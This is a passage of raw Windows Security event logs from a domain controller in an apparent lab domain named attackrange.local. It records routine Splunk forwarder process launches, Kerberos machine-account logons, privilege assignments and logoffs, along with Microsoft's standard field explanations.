	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255993
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:51:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255996
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3992DD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1315B027-D61C-A152-E46C-74A6DCC39304}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64971

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:51:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255995
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3992DD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:51:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255998
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3999EA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{68513207-EE9F-7088-7C79-4A7797658EB5}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:51:31 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255997
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3999EA

Privileges:		SeAuditPrivilege
			SeImpersonatePrivilege
			SeAssignPrimaryTokenPrivilege
03/12/2021 12:51:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255999
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3992DD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:51:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256002
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39A4AC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:51:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256001
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39A4AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51113

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:51:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256000
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39A4AC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256008
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39A79F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256007
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39A79F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51117

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256006
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39A79F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256005
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39A733

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256004
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39A733
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51116

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256003
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39A733

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256009
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256023
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B242

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256022
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B493

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256021
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B4E5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256020
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39B64B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51124

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256019
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B64B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256018
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39B4E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		51123

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256017
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B4E5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256016
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x39B493
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:52:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256015
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x39B493

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
